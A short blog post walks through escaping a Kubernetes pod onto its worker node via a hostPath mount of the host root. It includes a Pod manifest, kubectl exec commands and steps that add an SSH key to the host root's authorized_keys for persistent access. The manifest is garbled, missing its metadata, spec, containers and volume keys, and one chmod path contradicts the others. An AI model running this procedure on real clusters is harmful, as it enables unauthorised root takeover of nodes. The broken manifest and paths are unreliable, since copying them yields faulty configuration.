Fiddling with Kubernetes worker nodes


I needed to put some files into Worker Nodes in a Kubernetes cluster and, unfortunately, I could do it.

Although, admittedly, was no surprise.

Containers are not primarily about ensuring strong isolation, but more on allowing good citizens share some infrastructure with way to avoid treading onto each other’s feet.

So, in a basic cluster where containers are allowed to run as root, and mounting host directory is open too, it’s easy to run a Pod that gives us access to the hosts’s root directory.

This is described in Kubernetes Container Escape With HostPath Mounts, and the gist of it is to run a Pod in the specific target worker node (worker01 in the example below):

apiVersion: v1
kind: Pod
  name: horse01
  nodeName: worker01
  - image: alpine
    name: test-container
    command: ["tail"]
    args: ["-f", "/dev/null"] 
    - mountPath: /host
      name: da-root-folks
  - name: da-root-folks
      path: /
      type: Directory

Run that, and if your cluster is not specifically meant for enforcing security, you’re basically in:

$ kubectl apply -f t-horse.yaml

$ kubectl exec -it horse01 -- /bin/sh

Now the host’s filesystem is accessible at /host… happy fiddling!

cntnr$ mkdir -p /host/root/.ssh
cntnr$ vi /host/root/.ssh/authorized_keys # add a public key...
cntnr$ chmod og-rwx /home/root/.ssh /host/root/.ssh/authorized_keys

Now ssh should work too.

Stay safe folks!

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